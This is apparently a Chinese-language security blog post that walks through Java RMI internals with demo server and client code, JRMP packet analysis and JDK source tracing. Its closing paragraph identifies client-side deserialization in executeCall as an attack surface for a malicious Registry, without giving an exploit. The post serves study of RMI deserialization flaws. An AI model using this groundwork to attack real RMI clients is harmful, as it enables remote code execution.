RMI 远程方法调用漏洞分析
2024-09-13 09:14:17 # javasec # basic

介绍

RMI机制介绍

RMI 全称 Remote Method Invocation(远程方法调用),即可以在一个JVM客户端中调用另外一个JVM上的对象方法,调用的这个对象必须满足Remote接口, 两个虚拟机可以运行在相同计算机上的不同进程,也可以是网络上的不同计算机。

  • RMI Server
  • RMI Registry
  • RMI Client

RMI主要依赖于以上三个部分,流程为Server服务端通过bind方法将远程对象绑定到RMI Registry注册中心,然后Client客户端想要调用某个远程对象的时候就会使用rmi://注册中心ip/远程对象,接着注册中心会搜索注册的远程对象中找到指定的对象,然后返回远程对象所在服务端的ip和端口,将远程对象引用(包含了服务端的ip和端口)发送给客户端,这个时候客户端再去访问服务端的远程对象,最终方法执行的操作在服务端执行,客户端只需要提供方法所需要的参数等等,然后服务端将执行结果返回给客户端

RMI架构介绍

客户端:

存根/桩(Stub):远程对象在客户端上的代理;
远程引用层(Remote Reference Layer):解析并执行远程引用协议;
传输层(Transport):发送调用、传递远程方法参数、接收远程方法执行结果。

服务端:

骨架(Skeleton):读取客户端传递的方法参数,调用服务器方的实际对象方法, 并接收方法执行后的返回值;
远程引用层(Remote Reference Layer):处理远程引用后向骨架发送远程方法调用;
传输层(Transport):监听客户端的入站连接,接收并转发调用到远程引用层。

**注册表(Registry):**以URL形式注册远程对象,并向客户端回复对远程对象的引用。

这里我们简单梳理一下RMI底层实现流程

  • 首先客户端发送远程方法调用请求,找Registry获取Stub,也就是创建远程对象的代理类
  • 接着Stub这个代理存根将Remote对象交给Remote Reference Layer远程引用层,并创建java.rmi.server.RemoteCall(远程调用)对象 ,RemoteCall包括RMI服务名称、Remote对象
  • 远程引用层序列化RemoteCall远程调用并使用传输层Transport将RemoteCall对象以JRMP的协议方式发送给服务端的传输层
  • 服务端的传输层收到RemoteCall并转发给服务端的远程引用层
  • 远程引用层处理远程引用后向骨架Skeleton发送远程方法调用,这个的Skeleton骨架是通过server与registry获取生成的,用来处理传送过来的RemoteCall
  • Skeleton骨架将客户端传送过来的RemoteCall进行反序列化
  • Skeleton处理客户端的请求:bind、list、lookup、rebind、unbind,如果是lookup则查找RMI服务名绑定的接口对象,序列化该对象并通过RemoteCall传输到客户端。
  • 最终客户端获取到服务端返回回来的结果并反序列化得到远程对象的引用,现在就是客户端和服务端直接通过JRMP协议进行交互
  • 客户端调用 远程方法,RMI服务端反射调用RMI服务实现类的对应方法并序列化执行结果返回给客户端。
  • 客户端反序列化RMI调用结果

代码分析

注意事项

我们要编写一个demo复现RMI机制,这里我们就需要三个部分

Server:

远程对象接口类

远程对象实现类

注册远程对象到Registry

Registry:

一般和客户端写到一起,因为 Registry和Server的耦合程度是比较高的 ,并且 在jdk8u141之后Registry通过AccessController对注册请求IP有要求,只允许本机ip进行注册。

我们可以直接在服务端上面创建Registry,服务端也能更方便的与Registry交互

Client:

远程对象接口类

注册中心协议地址

1 可以看到客户端和服务端都必须有远程接口类,这个接口是Remote

并且这个接口没有任何实现方法,跟Serializable一样仅作为一个标识,标识出该接口的实现类为可远程调用的类,跟Serializable是可序列化的类一样。一个普通没有继承Remote接口的类是不能够进行远程调用的,并且这个接口类的方法必须抛出RemoteException错误,因为这些毕竟是远程传输的

2 其次可以看到客户端只有接口类,而服务端有该接口类的实现类,这是为什么呢?

这里其实就是一种编程思想,面向接口编程,客户端只需要知道该实现类的接口,至于接口是怎么实现的那就只归服务端管了,这样做的好处可能就跟架构相关吧,接口实现交给专门的人做

3 远程调用实现类继承了UnicastRemoteObject,这是为什么?

继承 UnicastRemoteObject 类,主要用于生成 Stub(存根)和 Skeleton(骨架),并且这个类必须是可序列化的满足Serializable接口,这个接口在UnicastRemoteObject的父类RemoteObject就满足了,所以只要继承了UnicastRemoteObject就能够序列化

Stub可以看作远程对象在本地的一个代理,囊括了远程对象的具体信息,客户端可以通过这个代理和服务端进行交互。

Skeleton可以看作为服务端的一个代理,用来处理Stub发送过来的请求,然后去调用客户端需要的请求方法,最终将方法执行结果返回给Stub。

代码编写

iWelcome

1
2
3
4
5
6
7
8
9
package RMI.Server;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface iWelcome extends Remote {
public String welcome(String name) throws RemoteException;
}

WelcomeImpl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package RMI.Server;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class WelcomeImpl extends UnicastRemoteObject implements iWelcome {

protected WelcomeImpl() throws RemoteException {
}

@Override
public String welcome(String name) throws RemoteException {
return "Welcome the user: " + name + " \nHave a good Day!";
}
}

Server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package RMI.Server;

import java.rmi.AlreadyBoundException;
import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {
public static void main(String[] args) throws RemoteException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
// 创建registry注册中心,只需要一行代码就可以搞定

// Server服务端部分
WelcomeImpl remoWelcome = new WelcomeImpl();
// 创建远程对象
Registry registry_get = LocateRegistry.getRegistry(1099);
// 在本地上获取1099端口的注册中心
registry_get.bind("welcome",remoWelcome);

// 也可以用Naming.rebind这个静态方法想Registry绑定远程对象
// Naming.rebind("rmi://localhost:1099/welcome",remoWelcome);

}
}

Client

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package RMI.Client;

import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import RMI.Server.iWelcome;

public class Client {
public static void main(String[] args) throws RemoteException, NotBoundException, MalformedURLException {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);

iWelcome RemoteWelcome = (iWelcome) registry.lookup("welcome");
// 同样可以使用Naming.lookup获取
// iWelcome RemoteWelcome = (iWelcome) Naming.lookup("rmi://localhost:1099/welcome");

String result = RemoteWelcome.welcome("pysnow");

System.out.println(result);
}
}

问题

这里有个问题

就是客户端在使用iWelcome接口类是直接使用RMI.Client包下的iWelcome类会报错

Exception in thread “main” java.lang.ClassCastException: com.sun.proxy.$Proxy0 cannot be cast to RMI.Client.iWelcome

而换成RMI.Server包下的类就没有问题,这里找到一篇文章

https://www.cnblogs.com/hellohello/p/12820027.html,但是没看懂,先留在这一下

流量分析

使用wireshark监听Adapter for loopback traffic capture

  • 以太网 :直接连接网线的一般选这个
  • WLAN : 电脑接 WiFi 的一般选这个
  • Adapter for loopback traffic capture: 迂回路线,就是本机自己的网络,抓的是 127.0.0.1 的包

因为这里使用的是回环地址,直接抓以太网和wifi的会抓取不到

可以看到这里成功捕获到了RMI协议流

首先前三条是TCP三次握手建立连接,可以看到SYN,SYN+ACK,ACK三个包

然后就是第一个RMI数据包,内容为七个字节

前四个字节JRMP表示使用JRMP协议,这是RMI通信使用的协议,后面两个字节表示协议版本为2,最后一个字节protocol使用的streamprotocol流协议

接着是Registry给客户端的TCP回复包,可以看到ack=8,刚好是三次握手的1和第一次JRMP协议包7字节刚好为8,这个TCP请求包就是用来回应客户端已经接受好数据包

接着是Registry注册中心向客户端进行协议回复,并确认客户端的ip和端口,这里的每个RMI协议包后面都会跟一个TCP确认包,这里我就只分析RMI的数据包了

0x1

客户端向Registry注册中心发送协议协商,使用JRMP协议版本为2,使用流式传输

_StreamProtocol_用于确认服务器是否支持此协议

0x2

Registry向客户端进行确认,包括客户端的ip和端口

0x3

客户端表示确认成功,请让我们继续

0x4

客户端向Registry发送客户端需要查询的调用的函数的远程引用 remoteCall,这里查询名为welcome的远程对象

0x5

接着Registry向客户端返回查询结果,查询的结果以序列化的形式发送

可以看到序列化的数据中包含了远程对象实现类生成的stub,也就是一个对远程对象的代理类,后面还包含了Server的ip和端口,ip为2.0.0.1,端口为0x000004f8换算成十进制就是

1272,也就是远程对象所在的ip和端口为2.0.0.1:1272

0x6

客户端收到Registry的RemoteCall返回结果,与2.0.0.1:1272进行TCP连接,如图红圈处为TCP三次握手,而这里客户端是又起了个新的端口9923与服务端进行连接

0x7

三次握手后面又是正常的协商JRMP协议版本,只是这里wireshark没有解析出来RMI协议

我们打开看下其实可以发现跟前面的包是一样的

0x8

这个请求包是用来确认客户端的ip端口

0x9

这里客户端表示再次确认,这里跟前面的一样,准备传输数据了

0xa

接着这里就发了一个RMI Call Data

可以看到这个data字段是以0x50开头,后面接上序列化数据aced

0xb

这里是服务端的返回消息,也就是响应包

0xc

这里就是客户端在pingRegistry注册

0xd

接着就是客户端向注册中心发送了DgcAck包,他的目的是指向服务器的分布式垃圾收集器的确认,它指示客户端已接收到服务器返回值中的远程对象

0xe

后面就是客户端与服务端进行交互,客户端发送参数

然后服务端执行方法,返回执行结果

后面就是客户端与服务端各种交互了,具体的细节问题,传输的内容要等分析完

动态调试

我们要分析各个部分的代码,看他们怎么绑定的服务以及怎么进行的数据交互等等

  • RMI Registry
  • RMI Server
  • RMI Client

创建远程对象

我们可以知道这个远程对象是通过父类UnicastRemoteObject的构造函数进行常见的

UnicastRemoteObject的构造函数默认设置的端口就是0,也就是随机端口

接着调用exportObject方法,这里我们将断点打到这进行调试一下

这个exportObject方法主要是将远程服务发布到网络上,这个方法是一个静态方法,如果不能继承UnicastRemoteObject类的话就需要手动在远程对象里面进行手动发布

1
UnicastRemoteObject.exportObject(this, 0);

这里第一个参数是obj对象,也就是远程对象,第二个参数是new UnicastServerRef(port),构造的一个UnicastServerRef对象

这个UnicastServerRef对象是用来处理网络请求的,我们跟进一下他的构造函数

可以看到他又新建了个 LiveRef(port) 对象,这个 是个LiveRef类网络引用的类

1
2
3
public LiveRef(ObjID var1, int var2) {
this(var1, TCPEndpoint.getLocalEndpoint(var2), true);
}

从这里可以知道这个liveref对象创建的时候传入了三个参数

var1:WelcomeImpl这个远程对象

第二个参数:TCPEndpoint这个对象是一个网络请求的类,后面就需要这个类来进行端口监听等

第三个参数为true,赋值到LiveRef的isLocal属性上

this.id:对象ID,ObjID

this.ep:Endpoint对象,服务端要监听的ip和端口都放在这个对象的

可以看到这个TCPEndpoint对象是封装到LifeRef里面的,而LifeRef对象是封装到UnicastServerRef的父类UnicastRef的ref属性里面的

然后将UnicastServerRef这个对象的两个属性分别赋值

前面UnicastServerRef对象的创建理清楚了我们继续回到UnicastRemoteObject这个对象的exportObject方法里面

首先判断了这个obj对象是否继承UnicastRemoteObject类,如果继承了则多一步操作,即将前面创建的UnicastServerRef对象赋值给这个远程对象的ref属性上
这里就证明了前面说的这个远程对象可以不需要继承UnicastRemoteObject类,但那样的话需要手动调用UnicastRemoteObject.exportObject这个静态方法

就这继续运行到UnicastServerRef的exportObject方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public Remote exportObject(Remote var1, Object var2, boolean var3) throws RemoteException {
Class var4 = var1.getClass();

Remote var5;
try {
var5 = Util.createProxy(var4, this.getClientRef(), this.forceStubUse);
} catch (IllegalArgumentException var7) {
throw new ExportException("remote object implements illegal remote interface", var7);
}

if (var5 instanceof RemoteStub) {
this.setSkeleton(var1);
}

Target var6 = new Target(var1, this, var5, this.ref.getObjID(), var3);
this.ref.exportObject(var6);
this.hashToMethod_Map = (Map)hashToMethod_Maps.get(var4);
return var5;
}

这里的var5变量就是创建的客户端stub,这里为什么服务端要创建stub

可以看到客户端是通过向Registry获取的stub代理类,也就是说服务端通过exportObject将客户端所需要的stub注册传给Registry,客户端到时候再去Registry中获取

接着我们更近一下创建stub对象的过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public static Remote createProxy(Class<?> var0, RemoteRef var1, boolean var2) throws StubNotFoundException {
Class var3;
try {
var3 = getRemoteClass(var0);
} catch (ClassNotFoundException var9) {
throw new StubNotFoundException("object does not implement a remote interface: " + var0.getName());
}

if (var2 || !ignoreStubClasses && stubClassExists(var3)) {
return createStub(var3, var1);
} else {
final ClassLoader var4 = var0.getClassLoader();
final Class[] var5 = getRemoteInterfaces(var0);
final RemoteObjectInvocationHandler var6 = new RemoteObjectInvocationHandler(var1);

try {
return (Remote)AccessController.doPrivileged(new PrivilegedAction<Remote>() {
public Remote run() {
return (Remote)Proxy.newProxyInstance(var4, var5, var6);
}
});
} catch (IllegalArgumentException var8) {
throw new StubNotFoundException("unable to create proxy", var8);
}
}
}

前面就是各种赋值操作,直到运行到这里,可以看到是明显的创建代理对象的操作

第一个参数var4:直接通过远程对象WelcomeImpl获取的CLassLoader,为 AppClassLoader

第二个参数var5:直接通过getRemoteInterfaces获取的远程对象的接口

第三个参数var6:也就是通过new RemoteObjectInvocationHandler(var1)这个生成的代理handler了

这里调用处理程序代理的是UnicastRef

我们可以看到这里代理的对象其实就是前面创建的LiveRef对象

到这里stub代理对象就创建好了,如图的var5

回到UnicastServerRef的exportObject,到Target这里,这里很明显是将前面的各种东西进行的一个总的封装

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public Target(Remote var1, Dispatcher var2, Remote var3, ObjID var4, boolean var5) {
this.weakImpl = new WeakRef(var1, ObjectTable.reapQueue);
this.disp = var2;
this.stub = var3;
this.id = var4;
this.acc = AccessController.getContext();
ClassLoader var6 = Thread.currentThread().getContextClassLoader();
ClassLoader var7 = var1.getClass().getClassLoader();
if (checkLoaderAncestry(var6, var7)) {
this.ccl = var6;
} else {
this.ccl = var7;
}

this.permanent = var5;
if (var5) {
this.pinImpl();
}

}

这里的stub和disp封装的ref其实都是一样的们可以自己查看一下ObjectID

接着继续往export那往下走

这里的this.ref.exportObject(var6); ref执行的是LiveRef,也就是运行LiveRef的exportObject方法将target这个总封装对象发布出去

我们一路跟进到TCPTransport这里的exportObject才有最终的实现代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public void exportObject(Target var1) throws RemoteException {
synchronized(this) {
this.listen();
++this.exportCount;
}

boolean var2 = false;
boolean var12 = false;

try {
var12 = true;
super.exportObject(var1);
var2 = true;
var12 = false;
} finally {
if (var12) {
if (!var2) {
synchronized(this) {
this.decrementExportCount();
}
}

}
}

if (!var2) {
synchronized(this) {
this.decrementExportCount();
}
}

}

这里首先就进行了监听,我们跟进去看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
private void listen() throws RemoteException {
assert Thread.holdsLock(this);

TCPEndpoint var1 = this.getEndpoint();
// 首先获得TCPEndpoint对象
int var2 = var1.getPort();
// 然后获取对应的端口
if (this.server == null) {
if (tcpLog.isLoggable(Log.BRIEF)) {
tcpLog.log(Log.BRIEF, "(port " + var2 + ") create server socket");
}

try {
this.server = var1.newServerSocket();
Thread var3 = (Thread)AccessController.doPrivileged(new NewThreadAction(new AcceptLoop(this.server), "TCP Accept-" + var2, true));
var3.start();
} catch (BindException var4) {
throw new ExportException("Port already in use: " + var2, var4);
} catch (IOException var5) {
throw new ExportException("Listen failed on port: " + var2, var5);
}
} else {
SecurityManager var6 = System.getSecurityManager();
if (var6 != null) {
var6.checkListen(var2);
}
}

}

往下走运行到var1.newServerSocket();这个地方,调用的TCPEndpoint对象的newServerSocket方法,这里就是创建了一个socket连接

Thread var3 = (Thread)AccessController.doPrivileged(new NewThreadAction(new AcceptLoop(this.server), “TCP Accept-“ + var2, true));

后面就是新开了thread线程进行处理这些连接之后的操作

AcceptLoop这个对象定义了其run方法,如果被连接则执行里面的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
private void executeAcceptLoop() {
if (TCPTransport.tcpLog.isLoggable(Log.BRIEF)) {
TCPTransport.tcpLog.log(Log.BRIEF, "listening on port " + TCPTransport.this.getEndpoint().getPort());
}

while(true) {
Socket var1 = null;

try {
var1 = this.serverSocket.accept();
InetAddress var16 = var1.getInetAddress();
String var3 = var16 != null ? var16.getHostAddress() : "0.0.0.0";

try {
TCPTransport.connectionThreadPool.execute(TCPTransport.this.new ConnectionHandler(var1, var3));
} catch (RejectedExecutionException var11) {
TCPTransport.closeSocket(var1);
TCPTransport.tcpLog.log(Log.BRIEF, "rejected connection from " + var3);
}
} catch (Throwable var15) {
Throwable var2 = var15;

try {
if (this.serverSocket.isClosed()) {
return;
}

try {
if (TCPTransport.tcpLog.isLoggable(Level.WARNING)) {
TCPTransport.tcpLog.log(Level.WARNING, "accept loop for " + this.serverSocket + " throws", var2);
}
} catch (Throwable var13) {
}
} finally {
if (var1 != null) {
TCPTransport.closeSocket(var1);
}

}

if (!(var15 instanceof SecurityException)) {
try {
TCPEndpoint.shedConnectionCaches();
} catch (Throwable var12) {
}
}

if (!(var15 instanceof Exception) && !(var15 instanceof OutOfMemoryError) && !(var15 instanceof NoClassDefFoundError)) {
if (var15 instanceof Error) {
throw (Error)var15;
}

throw new UndeclaredThrowableException(var15);
}

if (!this.continueAfterAcceptFailure(var15)) {
return;
}
}
}
}

在newServerSocket方法这里还设置了默认的随机端口

也就是说在listen方法里运行后才确定了port端口

执行完listen函数创建新的线程之后又执行了父类的exportObject

进去可以看到是调用的Transport类的exportObject方法

第一个var1.setExportedTransport(this);就是一个简单的赋值,将Target的exportedTransport属性赋值成TCPTransport

接着

这里调用了ObjectTable.putTarget(var1);这个静态方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
static void putTarget(Target var0) throws ExportException {
ObjectEndpoint var1 = var0.getObjectEndpoint();
WeakRef var2 = var0.getWeakImpl();
if (DGCImpl.dgcLog.isLoggable(Log.VERBOSE)) {
DGCImpl.dgcLog.log(Log.VERBOSE, "add object " + var1);
}

synchronized(tableLock) {
if (var0.getImpl() != null) {
if (objTable.containsKey(var1)) {
throw new ExportException("internal error: ObjID already in use");
}

if (implTable.containsKey(var2)) {
throw new ExportException("object already exported");
}

objTable.put(var1, var0);
implTable.put(var2, var0);
if (!var0.isPermanent()) {
incrementKeepAliveCount();
}
}

}
}

前面就是各种赋值,直到objTable.put(var1, var0);这里进行了一个插入table的操作

键为var1,一个ObjectTransport对象,有objectid和具体的通信Transport

值为target对象,也就是前面那个整合对象

这里一共是添加了两个表的

这个是objecttable里面的两张静态表

第二张表插入的键名不同,他是var2,一个weakref

这整个操作都是将远程对象服务保存在了本地系统里面的一个静态表里面,相当于这个对象不仅要发布到远程还要在本地归个档,这就是这串代码的意思,rmi所有的远程对象都会存储到这个表里面,包括Registry注册东西,我们在后面调试的时候就能发现Registry就是特殊的远程对象

整个创建远程对象的过程其实就是层层封装,调用各层的exportobject方法,然后将远程对象记录在本地的一个表里面,整个过程不难,就是代码写得比较复杂,各种封装,这里建议自己调完看下这个视频

https://www.bilibili.com/video/BV1L3411a7ax

创建注册中心Registry

创建注册中心Registry主要靠这一行代码,调用LocateRegistry.createRegistry这一静态方法

进去这里新建了一个RegistryImpl对象,参数为端口号1099

进入到RegistryImpl的构造方法,这里看不到源码只能看反编译代码的话可以先去openjdk下载一下源码

https://hg.openjdk.org/jdk8u/jdk8u/jdk/file/498f58217f9f

然后导入进去就能看到java源代码了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public RegistryImpl(final int var1) throws RemoteException {
if (var1 == 1099 && System.getSecurityManager() != null) {
try {
AccessController.doPrivileged(new PrivilegedExceptionAction<Void>() {
public Void run() throws RemoteException {
LiveRef var1x = new LiveRef(RegistryImpl.id, var1);
RegistryImpl.this.setup(new UnicastServerRef(var1x));
return null;
}
}, (AccessControlContext)null, new SocketPermission("localhost:" + var1, "listen,accept"));
} catch (PrivilegedActionException var3) {
throw (RemoteException)var3.getException();
}
} else {
LiveRef var2 = new LiveRef(id, var1);
this.setup(new UnicastServerRef(var2));
}

}

代码比较简单,前面主要是各种检查,主要逻辑为这两行

首先创建了个LiveRef对象,跟之前一样

接着又创建了一个UnicastServerRef对象,跟注册远程对象很像

然后调用的setup方法去启动

先给RegistryImpl的ref进行赋值,接着将这个ref发布出去,我们具体跟进看看这个exportobject跟前面有什么区别

首先是参数的区别

这是注册中心的exportObject方法

这是远程对象的exportObject,他们的区别就是第三个参数permanent的值不一样,一个是true一个是false

这个参数表示RegistryImpl是永久对象,而前面的welcomeImpl是临时对象

进入到exportObject可以看到还是跟前面创建远程对象一样的格局,我们具体看一下Registry创建stub部分有什么不同跟进一下

这里我再把源码贴一遍

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public static Remote createProxy(Class<?> implClass,
RemoteRef clientRef,
boolean forceStubUse)
throws StubNotFoundException
{
Class<?> remoteClass;

try {
remoteClass = getRemoteClass(implClass);
} catch (ClassNotFoundException ex ) {
throw new StubNotFoundException(
"object does not implement a remote interface: " +
implClass.getName());
}

if (forceStubUse ||
!(ignoreStubClasses || !stubClassExists(remoteClass)))
{
return createStub(remoteClass, clientRef);
}

final ClassLoader loader = implClass.getClassLoader();
final Class<?>[] interfaces = getRemoteInterfaces(implClass);
final InvocationHandler handler =
new RemoteObjectInvocationHandler(clientRef);

/* REMIND: private remote interfaces? */

try {
return AccessController.doPrivileged(new PrivilegedAction<Remote>() {
public Remote run() {
return (Remote) Proxy.newProxyInstance(loader,
interfaces,
handler);
}});
} catch (IllegalArgumentException e) {
throw new StubNotFoundException("unable to create proxy", e);
}
}

可以看到这里是通过stubClassExists这个函数的判断的

可以看到这里就是将RegistryImpl的类名加上_Stub后缀去类加载,加载成功则为true

可以看到java原生类里面确实存在RegistryImpl_stub这个类的

所以就进入到createStub方法里面

这里的逻辑很简单,就是通过反射将RegistryImpl_stub实例化了一下,参数是用unicastref封装的LiveRef

到这里stub代理类就创建完成了,对比一下远程对象的创建过程,这里是直接使用的反射类加载,因为这里原本就有这个stub对象,而创建远程对象则是使用的动态代理

接着往下判断stub是否继承RemoteStub,这里就可以理解为该远程对象是否为原生远程对象也就是这里的Registry

可以看到这里RegistryImpl_stub是继承RemoteStub的

接着进入setSkeleton方法,创建skeleton也就是服务器代理对象

可以看到这里创建skeleton的逻辑也是反射类加载,直接获取类名然后添上后缀名_Skel就直接初始化了

最后回到exportObject后半部分,封装和发布的部分

前面创建target对象还是一样,只不过这里的RegistryImpl对象比远程对象多了个前面创建的skeleton

接着就进入LiveRef的exportobject方法,前面的流程我就快速截图过了

直到TCPTransport的exportObject这里,前面listen的操作应该没有变化,因为他不涉及参数target的操作,只是简单的进行一个监听

这里首先调用了target的setExportedTransport方法,没啥跟之前一样就是一个简单赋值操作

差别处在putTarget这里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
static void putTarget(Target target) throws ExportException {
ObjectEndpoint oe = target.getObjectEndpoint();
WeakRef weakImpl = target.getWeakImpl();

if (DGCImpl.dgcLog.isLoggable(Log.VERBOSE)) {
DGCImpl.dgcLog.log(Log.VERBOSE, "add object " + oe);
}

synchronized (tableLock) {
/**
* Do nothing if impl has already been collected (see 6597112). Check while
* holding tableLock to ensure that Reaper cannot process weakImpl in between
* null check and put/increment effects.
*/
if (target.getImpl() != null) {
if (objTable.containsKey(oe)) {
throw new ExportException(
"internal error: ObjID already in use");
} else if (implTable.containsKey(weakImpl)) {
throw new ExportException("object already exported");
}

objTable.put(oe, target);
implTable.put(weakImpl, target);

if (!target.isPermanent()) {
incrementKeepAliveCount();
}
}
}
}

在objTable和Impltable两张表put之前表里面已经有一个远程对象的信息了,这是个 DGCImpl_Stub , 分布式垃圾回收的一个对象

可以看到到这里就创建了两个远程对象了,最后因为permanent参数为true,所以不计入存活远程对象数目

服务端向Registry进行绑定对象

这一过程还是比较简单的,首先我们不是获取到一个RegistryImpl对象嘛,他自带一个bind方法可以直接绑定

首先checkAccess方法就是检查Registry是否是本地的Registry注册中心

这行代码就能知道

包括前面获取ip的操作

接着就是遍历bindings属性,看要注册的远程对象是否存在,如果存在则就报一个已存在的错误,否则就将名字和远程对象直接put到RegistryImpl的那个bindings属性表里面

一般来说都是将远程对象忘本地的Registry绑定,一些低版本运行bind远程Registry,总之bind这部分就结束了

客户端获取注册中心

分三步,获取Registry对象,向Registry请求远程对象,与远程对象进行交互

这里我们开始调试第一步,调用LocateRegistry.getRegistry这个静态方法

可以看到这个方法的具体逻辑如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public static Registry getRegistry(String host, int port,
RMIClientSocketFactory csf)
throws RemoteException
{
Registry registry = null;

if (port <= 0)
port = Registry.REGISTRY_PORT;

if (host == null || host.length() == 0) {
// If host is blank (as returned by "file:" URL in 1.0.2 used in
// java.rmi.Naming), try to convert to real local host name so
// that the RegistryImpl's checkAccess will not fail.
try {
host = java.net.InetAddress.getLocalHost().getHostAddress();
} catch (Exception e) {
// If that failed, at least try "" (localhost) anyway...
host = "";
}
}
LiveRef liveRef =
new LiveRef(new ObjID(ObjID.REGISTRY_ID),
new TCPEndpoint(host, port, csf, null),
false);
RemoteRef ref =
(csf == null) ? new UnicastRef(liveRef) : new UnicastRef2(liveRef);

return (Registry) Util.createProxy(RegistryImpl.class, ref, false);
}

这里首先新建了一个LiveRef对象,以输入的ip端口来创建的,接着将LiveRef封装成UnicastRef对象

最终调用Util.createProxy方法来返回对象

我们这里跟进下

可以看到这里就是前面的操作,直接反射初始化了一个stub代理对象

客户端向Registry查询远程对象

这里因为反编译字节码的问题,下不了第一行的断点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
try {
RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L);

try {
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(var1);
} catch (IOException var18) {
throw new MarshalException("error marshalling arguments", var18);
}

super.ref.invoke(var2);

Remote var23;
try {
ObjectInput var6 = var2.getInputStream();
var23 = (Remote)var6.readObject();
} catch (IOException var15) {
throw new UnmarshalException("error unmarshalling return", var15);
} catch (ClassNotFoundException var16) {
throw new UnmarshalException("error unmarshalling return", var16);
} finally {
super.ref.done(var2);
}

return var23;
} catch (RuntimeException var19) {
throw var19;
} catch (RemoteException var20) {
throw var20;
} catch (NotBoundException var21) {
throw var21;
} catch (Exception var22) {
throw new UnexpectedException("undeclared checked exception", var22);
}
}

可以看到第一行首先就是调用了一个newCall的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public RemoteCall newCall(RemoteObject obj, Operation[] ops, int opnum,
long hash)
throws RemoteException
{
clientRefLog.log(Log.BRIEF, "get connection");

Connection conn = ref.getChannel().newConnection();
try {
clientRefLog.log(Log.VERBOSE, "create call context");

/* log information about the outgoing call */
if (clientCallLog.isLoggable(Log.VERBOSE)) {
logClientCall(obj, ops[opnum]);
}

RemoteCall call =
new StreamRemoteCall(conn, ref.getObjID(), opnum, hash);
try {
marshalCustomCallData(call.getOutputStream());
} catch (IOException e) {
throw new MarshalException("error marshaling " +
"custom call data");
}
return call;
} catch (RemoteException e) {
ref.getChannel().free(conn, false);
throw e;
}
}

可以看到newCall其实就是与Registry建立了一次远程连接

后面使用writeObject将远程对象名参数序列化传过去

接着就是调用UniCastRef的invoke方法,将这个远程连接RemoteCall对象传过去

这里面的代码主要是调用了call.executeCall();,后面全是catch

executeCall

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
public void executeCall() throws Exception {
byte returnType;

// read result header
DGCAckHandler ackHandler = null;
try {
if (out != null) {
ackHandler = out.getDGCAckHandler();
}
releaseOutputStream();
DataInputStream rd = new DataInputStream(conn.getInputStream());
byte op = rd.readByte();
if (op != TransportConstants.Return) {
if (Transport.transportLog.isLoggable(Log.BRIEF)) {
Transport.transportLog.log(Log.BRIEF,
"transport return code invalid: " + op);
}
throw new UnmarshalException("Transport return code invalid");
}
getInputStream();
returnType = in.readByte();
in.readID(); // id for DGC acknowledgement
} catch (UnmarshalException e) {
throw e;
} catch (IOException e) {
throw new UnmarshalException("Error unmarshaling return header",
e);
} finally {
if (ackHandler != null) {
ackHandler.release();
}
}

// read return value
switch (returnType) {
case TransportConstants.NormalReturn:
break;

case TransportConstants.ExceptionalReturn:
Object ex;
try {
ex = in.readObject();
} catch (Exception e) {
throw new UnmarshalException("Error unmarshaling return", e);
}

// An exception should have been received,
// if so throw it, else flag error
if (ex instanceof Exception) {
exceptionReceivedFromServer((Exception) ex);
} else {
throw new UnmarshalException("Return type not Exception");
}
// Exception is thrown before fallthrough can occur
default:
if (Transport.transportLog.isLoggable(Log.BRIEF)) {
Transport.transportLog.log(Log.BRIEF,
"return code invalid: " + returnType);
}
throw new UnmarshalException("Return code invalid");
}
}

这里面又调用了out.getDGCAckHandler();

getInputStream()这个方法是读取剩下的字节到in属性里面去

接着根据读取到不同的return type

进行对应的逻辑

正常的话一般都是进入一个case,但是如果返回的是异常远程对象则客户端为了更好地获取报错信息,所以就会反序列化整个字节流以获取更多的信息

这里就会导致一个安全问题,反序列化漏洞,Registry要是返回一个恶意的序列化数据,客户端就会反序列化执行

